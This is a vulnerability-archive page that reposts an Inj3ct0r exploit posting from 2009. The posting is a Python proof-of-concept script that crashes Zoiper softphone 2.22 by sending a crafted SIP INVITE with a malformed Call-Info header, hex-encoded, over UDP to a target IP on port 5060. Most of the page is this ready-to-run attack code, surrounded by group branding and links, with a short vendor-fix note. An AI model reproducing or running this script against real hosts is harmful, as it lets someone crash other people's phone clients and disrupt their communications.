Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Zoiper softphone DoS

From:Inj3ct0r.com <inj3ct0r_(at)_list.ru>
Date:19.10.2009
Subject:Vulnerability in Zoiper softphone version 2.22 - Denial Of Service

#==================================================================
#Vulnerability in Zoiper softphone version 2.22 - Denial Of Service
#==================================================================

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      0
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com

#!/usr/bin/python

# ZoIPer v2.22 Call-Info Remote Denial Of Service.
# Remote Crash P.O.C.
# Tested on Windows XP SP2 , SP3 , Ubuntu 8.10
#
# Vendor Notified on: 21/09/2009
# Vendor Fix: Fixed in version 2.24 Library 5324
#
# Bad Chars:   \x20  ,  \x09

import sys
import socket
import os


def main(argc , argv):

if len(sys.argv) != 2:
os.system("cls")
sys.exit("Usage: " + sys.argv[0] + " <target_ip>\n")

target_host = sys.argv[1]
target_port = 5060

evil_packet =   "\x49\x4e\x56\x49\x54\x45\x20\x73\x69\
x70\x3a\x4e\x65\x6f\x40\x31"+\
"\x30\x2e\x30\x2e\x30\x2e\x31\x20\x
53\x49\x50\x2f\x32\x2e\x30\x0d"+\
"\x0a\x56\x69\x61\x3a\x20\x53\x49\x
50\x2f\x32\x2e\x30\x2f\x55\x44"+\
"\x50\x20\x31\x39\x32\x2e\x31\x36\x
38\x2e\x35\x37\x2e\x31\x33\x31"+\
"\x3a\x31\x32\x39\x38\x3b\x62\x72\x
61\x6e\x63\x68\x3d\x7a\x39\x68"+\
"\x47\x34\x62\x4b\x4a\x52\x6e\x54\x
67\x67\x76\x4d\x47\x6c\x2d\x36"+\
"\x32\x33\x33\x0d\x0a\x4d\x61\x78\x
2d\x46\x6f\x72\x77\x61\x72\x64"+\
"\x73\x3a\x20\x37\x30\x0d\x0a\x46\x
72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\
"\x70\x68\x65\x75\x73\x20\x3c\x73\x
69\x70\x3a\x4d\x6f\x72\x70\x68"+\
"\x65\x75\x73\x40\x31\x39\x32\x2e\x
31\x36\x38\x2e\x35\x37\x2e\x31"+\
"\x33\x31\x3e\x3b\x74\x61\x67\x3d\x
66\x37\x6d\x58\x5a\x71\x67\x71"+\
"\x5a\x79\x2d\x36\x32\x33\x33\x0d\x
0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\
"\x20\x3c\x73\x69\x70\x3a\x4e\x65\x
6f\x40\x31\x30\x2e\x30\x2e\x30"+\
"\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x
6c\x2d\x49\x44\x3a\x20\x77\x53"+\
"\x48\x68\x48\x6a\x6e\x67\x39\x39\x
2d\x36\x32\x33\x33\x40\x31\x39"+\
"\x32\x2e\x31\x36\x38\x2e\x35\x37\x
2e\x31\x33\x31\x0d\x0a\x43\x53"+\
"\x65\x71\x3a\x20\x36\x32\x33\x33\x
20\x49\x4e\x56\x49\x54\x45\x0d"+\
"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x
3a\x20\x3c\x73\x69\x70\x3a\x4d"+\
"\x6f\x72\x70\x68\x65\x75\x73\x40\x
31\x39\x32\x2e\x31\x36\x38\x2e"+\
"\x35\x37\x2e\x31\x33\x31\x3e\x0d\x
0a\x43\x6f\x6e\x74\x65\x6e\x74"+\
"\x2d\x54\x79\x70\x65\x3a\x20\x61\x
70\x70\x6c\x69\x63\x61\x74\x69"+\
"\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x
43\x61\x6c\x6c\x2d\x49\x6e\x66"+\
"\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x
6e\x74\x65\x6e\x74\x2d\x4c"+\
"\x65\x6e\x67\x74\x68\x3a\x20\x31\x
32\x35\x0d\x0a\x0d\x0a"

os.system("cls")
print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n"
print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((target_host,target_port))
print "[+] Trying To Send Evil Packet...\r\n"
s.sendall(evil_packet)
s.close()
print "[+] Done!\r\n"
except:
print "[x] Connection Error!\r\n"


if (__name__ == "__main__"):
sys.exit(main(len(sys.argv), sys.argv))

#----------------------------------------------

# RIP - milw0rm, or the king is dead long live the new king inj3ct0r.com

# ThE End =]  Visit my proj3ct  :

# http://inj3ct0r.com
# http://inj3ct0r.org
# http://inj3ct0r.net


# ~  - [ [ : Inj3ct0r : ] ]

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server